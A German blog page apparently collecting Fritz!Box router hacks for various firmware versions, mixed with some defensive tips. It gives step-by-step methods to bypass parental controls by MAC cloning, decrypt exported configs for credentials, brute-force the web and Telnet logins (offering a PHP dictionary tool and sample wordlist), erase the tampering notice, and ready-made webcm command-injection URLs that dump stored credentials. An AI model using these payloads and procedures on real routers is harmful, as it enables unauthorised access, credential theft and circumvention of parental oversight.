Aktuelle Hacks
Veraltete Hacks
Fritz!Box Mythen
Infos und Tipps
Ständig bekomme ich anfragen wie man die Fritz!Box hacken kann. Ich habe nun ein paar Hacks herausgesucht, die unter bestimmten bedingen zum Erfolg führen können. (Alles auf eigene Gefahr!)
Dieser Eintrag wird in Zukunft noch erweitert oder entsprechend aktualisiert, wenn sich was geändert haben sollte...
Der vermutlich einfachste Trick ist, wie man die installierte Firmware heraus bekommt. Allerdings muss man Zugang zum Fritz!Box-Netzwerk haben. Im LAN/WLAN kann man mit http://fritz.box/cgi-bin/system_status die Fritz!Box Bezeichnung und ein paar Daten auslesen. (Es darf nur nicht der Gast-Zugang sein!)
Über die Fernwartung war es zwischen OS 05.50 und 06.03 ebenfalls möglich diese Daten auszulesen: https://<domainname.myfritz.net>:443//cgi-bin/system_status
Dieser Versions-String setzt sich aus folgenden Daten zusammen:
Modell, Annex, Laufzeit, Neustarts, CRC32-mtd2, Status, Firmware, Build-Version, Branding und Sprache:
FRITZ!Box Fon WLAN 7390-B-010203-040506-733454-124607-147902-840522-22574-avm-de
Kleines Javascript um den Supportcode zu decodieren: (Alternativ auch Fritz!Box JSTool bzw. Fritz!Box Tools)
Bei den neueren Boxen gibt es einen weiteren Link, wo man weitere Daten auslesen kann: http://fritz.box/jason_boxinfo.xml und man konnte auch diesen ab OS 05.50 bis OS 06.03 mit aktivierter Fernwartung aus der Fritz!Box auslesen: https://<domainname.myfritz.net>:443//jason_boxinfo.xml
Ab OS 6.80 noch zusätzlich http://fritz.box/juis_boxinfo.xml
Hinweis: Fritz!Box Tools und Fritz!Box JSTool können die XML-Daten optisch etwas aufbereiten.
Hat man Physischen Zugang zur Fritz!Box und ist die standardmäßige aktivierte Option "AVM Stick & Surf" aktiviert, dann braucht man nur ein AVM Fritz!WLAN Stick in den USB-Port der Fritz!Box einstecken und schon hat man per WLAN Zugang zum Fritz!Box-Netzwerk! Ist keine Kindersicherung aktiviert, hat man auch Zugang zum Internet.
Ähnlich wie mit Fritz!WLAN Stick kann man auch mit sein Laptop/Smartphone Zugang zum WLAN verschaffen: (Voraussetzung ist dass in der Fritz!Box bei den WLAN-Sicherheitseinstellungen WPS aktiviert ist) Einfach den WLAN-Knopf ca. 6 Sekunden lang drücken und man hat zwei Minuten Zeit sich per WLAN in das Fritz!Box-Netzwerk zu verbinden. Ist keine Kindersicherung aktiviert, hat man auch Zugang zum Internet.
Wenn man Zugang zum Fritz!Box-Netzwerk hat, kann der weg ins Internet an der Kindersicherung scheitern. So lange man nicht im Gastnetzwerk ist, kann man sich mit etwas Glück daran vorbei mogeln: Dazu braucht man die MAC-Adresse von demjenigen, der problemlos durch den Filter hindurch kommt. Dazu muss man entweder die Lokale IP-Adresse des Rechners kennen und den Rechner mindestens einmal "angepingt" haben (z.B. ping 192.168.178.20
) oder man greift über die Netzwerkumgebung auf dem Rechner zu.
Wichtig ist dass der eigene Rechner mindestens einmal direkt mit dem Rechner kommuniziert hat.
Nun gibt man in der Eingabeaufforderung arp -a
ein und man bekommt zu allen Rechnern die lokalen IP-Adressen und MAC-Adressen, mit dem der eigene Rechner kommuniziert hatte.
Nun Öffnet man den "Netzwerk und Freigabecenter" um die Adaptereinstellungen zu ändern. In der Ansicht der Netzwerkverbindungen sucht man sich den richtigen Netzwerkadapter heraus, mit dem man an der Fritz!Box verbunden ist. ( WICHTIG dabei ist: Die Art des Netzwerk-Adapters muss gleich bleiben! d.H. WLAN-Adapter können nicht mit LAN-Adapter geclont werden und umgekehrt!)
Dann auf Eigenschaften / Konfigurieren / Erweitert / Netzwerkadresse! Nun kann man hier die Mac-Adresse ändern. Eventuell muss man die 6 zweistelligen Werte ohne "-" oder ":" eintragen. Nachdem man alle Fenster mit "OK" bestätigt hat, hat der Netzwerk-Adapter die neue MAC-Adresse und ist Netzwerk-Technisch nicht mehr vom anderen Rechner unterscheidbar.
WICHTIG ist: Beide Rechner können NICHT gleichzeitig mit dem selben Netzwerk verbunden sein, da sie die selbe IP-Adresse zugewiesen bekommen.
Wem das zu kompliziert war, der googelt einfach mal nach: "fritzbox kindersicherung umgehen".
Wenn man die Einstellungen der Fritz!Box exportiert, kann man diese Manipulieren. Dazu benötigt man ein Unix-Tauglichen Editor wie Notepad2 oder Notepad++. Alle Einstellungen kann nun nach Herzenslust manipulieren. Vor dem Import hat man zwei Möglichkeiten, damit die Manipulierte Datei von der Fritz!Box akzeptiert wird:
Wenn die veränderten Einstellungen keinen Sinn ergeben, wird die Fritz!Box wieder in den Werkeinstellungen zurückgesetzt. Bei Kabelboxen wie z.B. die Fritz!Box 6360 und ganz aktuellen Firmware-Versionen funktionieren NUR noch die Methode mit der Berechnung der Checksumme, da Manipulationen generell nicht mehr erlaubt sind.
Ab Fritz!OS 06.30 oder neuer hat AVM alle Möglichkeiten entfernt, sich per Telnet auf Komandoebene einzuloggen und die Konfiguration in Klartext auszulesen. Aktuell gibt es drei verschiedene Möglichkeiten, an die Zugangsdaten heran zukommen:
fb_tools <kennwort>@fritz.box konfig export-decrypt -d
oder aus anderen Fritz!Boxen:fb_tools konfig file-decrypt [Konfig-Datei] [Konfig-Kennwort] -d
./decoder.x86_64 decode_export -- [kennwort] < [Konfig-Datei]
Alte Konfig-Dateien vor Fritz!OS 6 konnte man noch OHNE Kennwort speichern. (Intern wurde diese Daten mit der MAC-Adresse der Fritz!Box verschlüsselt.) Diese Konfig-Dateien konnte man nur in der Fritz!Box einspielen, mit der sie auch gesichert wurden. Ging die Fritz!Box kaputt oder wie auch immer abhanden, waren auch die Konfig-Sicherungen nutzlos. Für Fritz!Box Tools gibt es jetzt ein Plugin: fbtp_konfighacker.php, dass alle MAC-Adressen von AVM durchprobiert und die richtige in relativ kurzer Zeit ermitteln kann.
Das ganze klappt auch mit Kennwortgeschützten Konfig-Dateien, nur dafür benötigt man eine Kennwort-Datei, das alle möglichen Kennwörter enthält, die durchprobiert werden können.
Mit einigen Einschränkungen ist es möglich das vergessene Anmeldekennwort mit vielen Versuchen durchzuprobieren. Dazu sind folgene Voraussetzungen notwendig:
Sind alle Voraussetzungen erfüllt, kann man im Webbrowser den ersten Test machen:
https://<domain oder ip>:<port>/jason_boxinfo.xml
Wenn Sie nun ein HTTP-Auth-Digest Anmeldefenster sehen, könnte man Theoretisch loslegen, einige Zugangsdaten auszuprobieren. Nun ist aber AVM nicht dumm und hat nach ca. 3 Fehlversuchen ein Timeout eingebaut, der zwischen 10 Sekunden und maximal 130 Sekunden liegt. Dabei kommt eine IP-Sperre zu einsatz, die man Theoretisch mit vielen Proxies teilweise umgehen kann.
Da ich nicht daran Interessiert bin, hier Anleitungen für Professionelle Hacking-Tools wie Nmap, Medusa oder Hydra zu schreiben, habe ich als Proof_of_Concept ein HTTP-Auth-Digest Anmelde-Tool, in PHP (mit cURL) um eine Wörterbuch-Funktion erweitert.
Download: authtest.7z - 2.7 KB ohne PHP
authtest.bat
in das PHP-Verzeichnis kopiert werden und kann dann von der Konsole aus gestartet werden: authtest.bat
sudo apt-get install php-cli php-xml php-curl
anschließend muss authtest.php
mitchmod +x authtest.php
ausführbar gemacht werden. Und kann anschließend von der Konsole aus gestartet werden: ./authtest.php
authtest.php
mitchmod +x authtest.php
ausführbar gemacht werden. Und kann dann ebenfalls in der Konsole aus gestartet werden: ./authtest.php
# Häufig genutzte Kennwörter 123456 12345678 password administrator admin # Häufige Vornamen michael daniel thomas jennifer ashley jessica # Kombination des Aktenkoffers 12345 |
Für die Wörterbuch-Funktion benötigt man eine Textdatei mit Potenziellen Kennwörtern. Da die Fritz!Box ein Timeout von bis zu 130 Sekunden hat, sind die teilweise sehr großen Kennwortlisten aus dem Internet nur wenig sinnvoll. Ich Empfehle eine eigene zu erstellen, die als Textdatei mit den Endung .txt gespeichert werden sollte.
Es wird dringendst Empfohlen die Datei NICHT unverschlüsselt auf die Festplatte zu speichern. Ich Empfehle dazu TrueCrypt oder VeraCrypt.
Hat man alles installiert und sich eine Kennwortdatei erstellt, dann gibt man in der Konsole folgendes ein: (Die spitzen Klammern <...> sind Platzhalter)
cd <verzeichnis> |
Hier ein Beispiel aus der Praxis:
cd \Users\skroob\Desktop
|
Auch wenn man über diese Methode Theoretisch fremde Fritz!Box angreifen könnte, kann ich nur davon Abraten dies zu tun. Die Fritz!Box bekommt diese Angriffe mit und speichert diese in den Ereignissen mit Datum, Uhrzeit, Benutzername und die IP-Adresse.
28.08.16 23:44:40 Anmeldung des Benutzers Skroob an der FRITZ!Box Benutzeroberfläche von IP-Adresse 2001:db8::608:15ff:fe16:2342. 28.08.16 23:44:40 Anmeldung des Benutzers skroob an der FRITZ!Box Benutzeroberfläche von IP-Adresse 2001:db8::608:15ff:fe16:2342 gescheitert (falsches Kennwort). [11 Meldungen seit 28.08.16 23:42:23] |
Sollte man als Administrator einer Fritz!Box bemerken, dass ein fremder versucht das Anmeldekennwort zu hacken, dann muss man eigentlich nur die Fernwartung deaktivieren. Sollte das keine Option sein, ändert man einfach den Port, mit die Fritz!Box im Internet erreichbar ist. Zusätzlich kann neues Kennwort niemals schaden.
Kommt der böse Angreifer aus dem eigenen Haus (Kinder oder Mitbewohner), dann verbannt man die einfach ins das Gast-Netzwerk. Die Fritz!Box-Oberfläche ist im Gastnetzwerk nicht zu erreichen und den Fernwartungs-Port kann man im Gastnetzwerk sperren.
Das Gastnetz ist dazu da, um Viren und möchtegern Hackern vom eigentlichen Heimnetz fernzuhalten. Im großen und ganzen funktioniert das auch sehr gut.
Aber ab Fritz!OS 7 hat AVM ein neues Feature implementiert, mit dem man Löcher in das Gastnetz "bohren" kann. Und zwar mit Portfreigaben!
Jetzt könnte man sagen, das ist nicht neues, das man über die Externe IP-Adresse auf den für das Internet freigegeben Port zugreifen kann.
Ab Fritz!OS 7 kann man über die INTERNE IP-Adresse des Heimnetzes, auf den Internen Port zugreifen, WENN dieser für das Internet freigegeben wurde.
Beispiel: Wir haben einen Webserver (Port 80
) mit der Heim-IP: 192.168.178.20
. Den Port 80
geben wir für das Internet auf Port 12345
frei.
d.H. Über das Internet können wir mit Extern-IP:12345
auf den Webserver zugreifen. - Ab Fritz!OS 7 können wir auch vom Gastnetz mit 192.168.178.20:80
auf den Webserver zugreifen.
Der Umweg über das Internet entfällt.
Abhilfe: Alle Portfreigaben löschen oder deaktivieren.
Wenn man das Anmeldekennwort kennt, konnte man bis OS 06.03 die Zugangsdaten mit Telnet auslesen.
Dazu muss man sich per Telnet einloggen und etwas Linux-Kenntnisse mitbringen. (Telnet aktiviert man am Telefon mit #96*7*
und als Telnet-Client bietet sich Putty an.)
Nach dem wir uns mit ein Telnet-Client an fritz.box
angemeldet haben, bekommen wir die aktuelle TTY-Schnittstelle angezeigt, die wir für die Ausgabe brauchen werden. (Meistens ist das /dev/pts/0
)
Die Befehle die uns weiterhelfen heißen: allcfgconv, usbcfgconv und wlancfgconv:
Ausgabe auf die Console: |
Ausgabe auf dem Internen Speicher: |
allcfgconv -o /dev/pts/0 -c -C ar7
| cd /var/InternerSpeicher
|
(Zu erreichen mit http://fritz.nas ab Fritz!Box 32xx oder 72xx) |
Auf jeden Fall sollte man vorsichtig sein, da man mit Telnet den Kompletten Router lahmlegen kann.
Ist die Firmware in etwa zwischen xx.04.76 und xx.05.05 können die WLAN Zugangsdaten einfach von der Anmeldeseite ausgelesen werden. Dazu muss man Zugang zum Fritz!Box-Netzwerk haben. Weitere Beschreibungen für und gegen den Angriff finden sie in meinen Blog-Eintrag: GossipBox!
Ähnlich wie bei dem GossipBox-Hack kann man auch per UPnP Konfigurationsfragmente bis Firmware xx.05.21 auslesen. Wie Heise-Netze darüber berichtet hatte, muss man für den Angriff den genauen Pfad der Konfigurationsdateien kennen und zugriff zum Fritz!Box-Netzwerk haben. Zwei davon habe ich mal herausgesucht:
Zuerst die schlechte Nachricht: Das Anmeldekennwort kann man NICHT auslesen oder sonst wie ermitteln, OHNE das Anmeldekennwort zu kennen!
Und nun die gute Nachricht: Es gibt bis OS 06.03 eine kleine Hintertür, mit der man mit Zeitaufwand doch zum Anmeldekennwort kommen kann.
Der Trick basiert auf "Login über Telnet" und umgeht damit das Timeout auf der Weboberfläche.
Zuerst muss Telnet in der Fritz!Box über das Telefon mit #96*7*
aktiviert werden.
Wenn Telnet aktiviert ist, kann man sich theoretisch mit ein Telnet-Client wie Putty verbinden.
Da wir das Kennwort nicht kennen, brauchen wir ein Hacker-Tool wie Brutus.
Zuerst stellen wir als Ziel: "fritz.box
" und Typ: "Telnet
" ein.
Ab Fritz!OS 5.50 müssen die Verbindungen auf maximal 4 reduziert werden und das Timeout auf Mindestens 30 Sekunden hoch gesetzt werden. (Bei älteren Fritz!Boxen kann die Einstellungen so belassen!)
Ist die Fritz!Box nur mit einen Anmeldekennwort geschützt, dann muss in den Optionen die User-ID ausgeschaltet werden. Andernfalls lassen wir es an und tragen zusätzlich in der UserID-abfrage "user
" ein.
Für die Fehllogins in den Optionen tragen wir: "failed
" ein.
(Links im Bild kann alle Einstellungen für Benutzername und Kennwort sehen und Rechts die Einstellungen für nur ein Kennwort sehen)
Nun kann man es sich aussuchen ob nach Wörterbuch oder durch Ausprobieren gehackt werden soll.
Ich empfehle beides in der Reihenfolge! (Wobei ab Fritz!OS 5.50 die Brute-Force-Methode einige Monate bis Jahre dauern wird)
Für Brute-Force sollte man zusätzliche Einstellungen zum möglichen Kennwort vornehmen, da genauere angaben, die Hackzeit erheblich verkürzen können. (Besonders was die Kennwortlänge angeht! Erlaubt sind alle ASCII-Zeichen zwischen 32 bis 126!)
Hat man alles eingestellt, braucht man nur noch auf Start klicken und den Rechner am besten für die nächsten Stunden/Tage/Wochen in ruhe Arbeiten lassen.
Sollte man sich erfolgreich über Telnet angemeldet haben, erscheint in Zukunft, in der Übersichtseite von der Fritz!Box die Meldung: "Vom Hersteller nicht unterstützte Änderungen: Weitere Informationen"!
Das liegt daran, dass AVM es nicht gerne sieht, wenn man mit Telnet in der Fritz!Box herumspielt.
Die Meldung bekommt per Telnet mit dem Befehl: "echo clear_id 87 > /proc/tffs
" wieder weg!
Die Lücke mit der man Befehle mit Root-Rechten ausführen kann, ist erst Anfang 2014 bekannt geworden, nachdem Hacker Telefonrechnungen in die Höhe getrieben haben. Tatsächlich schlummert die Lücke seit etwa Sommer 2009 in fast allen Fritz!Boxen. (Von Fritz!OS 04.67 bis OS 06.01)
Die Lücke steckt im CGI-Modul "webcm". Die dient als Schnittelle zwischen Betriebssystem und Webinterface. Leider wurden die Parameter nicht ausreichend überprüft, sodass es Möglich war, Shell-Befehle per Huckepack mitzuschicken. Das schlimme und gefährliche an der Lücke war, dass die auch von Außen erreichbar war. Entweder über die Fernwartung per Port 443 oder wie Heise.de heraus gefunden hat, über Cross-Site-Request-Forgery
echo "\n\nHello World"
Mit https://<domainname.myfritz.net>:443/cgi-bin/webcm?var:lang=%26echo+%22%0A%0AHello+World%21%22 wird "Hello World!" ausgegeben. Der Parameter var:lang
wird mit ein &
oder ;
abgeschlossen und der anschließender Befehl wird einfach ohne weitere Hürden ausgeführt. (Mit \n\n
wird nur sichergestellt, dass die Ausgabe nicht im HTTP-Header erfolgt)
allcfgconv -o /var/tmp/leak.txt -c -C ar7;
echo "\n\n";
cat /var/tmp/leak.txt
Mit https://<domainname.myfritz.net>:443/cgi-bin/webcm?var:lang=%3Ballcfgconv+-o+/var/tmp/leak.txt+-c+-C+ar7%3Becho+%22%0A%0A%22%3Bcat+/var/tmp/leak.txt kann man ein Teil der Zugangsdaten auslesen. (Wer alles auslesen möchte, sollte ein Blick auf Zugangsdaten auslesen werfen)
Theoretisch kann man alles über diese Lücke auslesen, was in der Fritz!Box gespeichert ist UND Malware in der Fritz!Box zur Ausführung bringen! Für alle Betroffene Modelle wurden Updates bereit gestellt.
usercfg > valid_tickets
unverschlüsselt gespeichert. Wird eins eingelöst, wird dessen stelle ein neues per Zufall erstellt. d.H. man benötigt entweder eine Sicherheitslücke, wie zuletzt in Fritz!OS 6.01, um die aktuellen Tickets einfach auszulesen oder das Anmeldekennwort, um sich die Tickets anzeigen zu lassen.valid_tickets
suchen)
Um alle Angriffe abzuwehren muss man nicht viel beachten:
Erstellt: 06.08.2012 - Zuletzt geändert: 09.12.2020
<< Amiga | Home | Humor >> << Gute Vorsätze auch bei Oracle | MEngelke Blog | Hacker Attack >>